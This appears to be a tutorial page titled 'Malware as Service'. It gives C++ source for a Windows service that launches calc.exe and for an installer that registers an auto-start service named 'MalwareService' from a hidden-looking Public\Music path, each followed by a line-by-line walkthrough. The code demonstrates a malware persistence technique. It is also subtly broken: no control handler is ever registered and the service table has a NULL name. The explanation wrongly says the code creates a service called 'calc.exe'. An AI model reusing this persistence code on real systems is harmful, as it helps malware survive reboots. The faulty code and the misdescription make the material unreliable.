Malware as Service

Service

```
C++ Code
#include <windows.h>

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

int main() {
    SERVICE_TABLE_ENTRY ServiceTable[] = {
        {NULL, (LPSERVICE_MAIN_FUNCTION)ServiceMain},
        {NULL, NULL}
    };

    StartServiceCtrlDispatcher(ServiceTable);

    return 0;
}

VOID ServiceMain(DWORD argc, LPTSTR *argv) {
    ServiceStatus.dwServiceType = SERVICE_WIN32;
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;


    if (hStatus == (SERVICE_STATUS_HANDLE)0) {
        return;
    }

    CreateProcess(NULL,
        "C:\\Windows\\System32\\calc.exe",
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        NULL,
        NULL
    );

    WaitForSingleObject(GetCurrentProcess(), INFINITE);
}

VOID ServiceCtrlHandler(DWORD control) {
    switch (control) {
        case SERVICE_CONTROL_STOP:
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ServiceStatus);
            return;
        default:
            break;
    }
}
```

This code appears to be a Windows service program that creates a service called "calc.exe" to run the Windows Calculator. Let's break down the code:

1. **Header Includes**:
   - `<windows.h>`: Provides access to Windows API functions and data types.
2. **Global Variables**:
   - `SERVICE_STATUS ServiceStatus`: A structure that holds the status of the service.
   - `SERVICE_STATUS_HANDLE hStatus`: A handle to the service status.
3. **`main` Function**:
   - `int main()`: This is the main entry point for the program.
   - Inside the function:
     - It defines a `SERVICE_TABLE_ENTRY` array `ServiceTable` with two entries:
       - The first entry specifies `ServiceMain` as the service's main function.
       - The second entry is `NULL`, indicating the end of the service table.
     - It calls `StartServiceCtrlDispatcher` to start the service control dispatcher. This function connects the main thread of the calling process to the service control manager, which allows the service to receive control requests from the service manager.
4. **`ServiceMain` Function**:
   - `VOID ServiceMain(DWORD argc, LPTSTR *argv)`: This is the main function for the Windows service.
   - Inside the function:
     - It sets the service type to `SERVICE_WIN32` and the current state to `SERVICE_RUNNING`.
     - It checks if `hStatus` is not NULL (indicating that the service status handle was successfully created).
     - It uses `CreateProcess` to start the Calculator (`calc.exe`) in a new process.
     - It waits indefinitely for the current process to finish execution, effectively keeping the service running as long as the Calculator is open.
5. **`ServiceCtrlHandler` Function**:
   - `VOID ServiceCtrlHandler(DWORD control)`: This function serves as the service control handler.
   - Inside the function:
     - It switches on the value of `control`, which represents a control request sent to the service.
     - In this code, there is only one case for `SERVICE_CONTROL_STOP`.
     - If the service receives a stop request, it updates the service status to `SERVICE_STOPPED` and sets the service status using `SetServiceStatus`. This effectively stops the service.

In summary, this code creates a simple Windows service that runs the Calculator (calc.exe) when started and stops the service when it receives a stop request. It uses the Windows service control manager to handle service control requests and run the Calculator as a separate process.

Service Installer

```
C++ Code
#include <windows.h>
#include <tchar.h>
#include <iostream>

using namespace std;

BOOL InstallService(const TCHAR* serviceName, const TCHAR* servicePath) {
    SC_HANDLE schSCManager = NULL;
    SC_HANDLE schService = NULL;
    BOOL success = FALSE;

    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
    if (schSCManager == NULL) {
        cout << "OpenSCManager failed (" << GetLastError() << ")" << endl;
        return false;
    }

    schService = CreateService(schSCManager,serviceName,serviceName,SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,servicePath,NULL,NULL,NULL,NULL,NULL);
    if (schService == NULL) {
        cout << "CreateService failed (" << GetLastError() << ")" << endl;
        return false;
    }

    success = TRUE;
    if (schService != NULL) {
        CloseServiceHandle(schService);
    }
    if (schSCManager != NULL) {
        CloseServiceHandle(schSCManager);
    }
    return success;
}

int main(){
    InstallService(TEXT("MalwareService"), TEXT("C:\\Users\\Public\\Music\\MalwareService.exe"));
    return 0;
}
```

This code is a Windows program that installs a service named "MalwareService" using the Windows Service Control Manager. Let's break down the code:

1. **Header Includes**:
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<tchar.h>`: Provides macros for handling character strings that are compatible with both ANSI and Unicode character sets.
   - `<iostream>`: Allows input and output operations.
2. **Global Function `InstallService`**:
   - `BOOL InstallService(const TCHAR* serviceName, const TCHAR* servicePath)`: This function attempts to install a Windows service.
   - Parameters:
     - `serviceName`: The name of the service to be installed.
     - `servicePath`: The file path of the executable that represents the service.
   - Inside the function:
     - It declares several variables:
       - `SC_HANDLE schSCManager`: A handle to the Service Control Manager.
       - `SC_HANDLE schService`: A handle to the service.
       - `BOOL success`: A flag to indicate the success of the installation process.
     - It calls `OpenSCManager` to open a handle to the Service Control Manager with the `SC_MANAGER_CONNECT` and `SC_MANAGER_CREATE_SERVICE` access rights. If this fails, it prints an error message and returns `FALSE`.
     - It calls `CreateService` to create the service with the provided name, description, access rights, and other parameters. If this fails, it prints an error message and returns `FALSE`.
     - If the service creation is successful, it sets `success` to `TRUE` and then closes the service and manager handles using `CloseServiceHandle`.
     - Finally, it returns the value of `success` to indicate whether the service installation was successful.
3. **`main` Function**:
   - `int main()`: This is the main entry point for the program.
   - Inside the function:
     - It calls `InstallService` with the service name "MalwareService" and the file path "C:\Users\Public\Music\MalwareService.exe" to install the service.
     - The result of the installation process is not checked or printed here.

In summary, this code is meant to be run as a standalone program, and its main purpose is to install a Windows service named "MalwareService" with a specified executable file path using the Windows Service Control Manager. If the installation succeeds, it returns `TRUE`; otherwise, it returns `FALSE`. The code in `main` demonstrates how to call the `InstallService` function.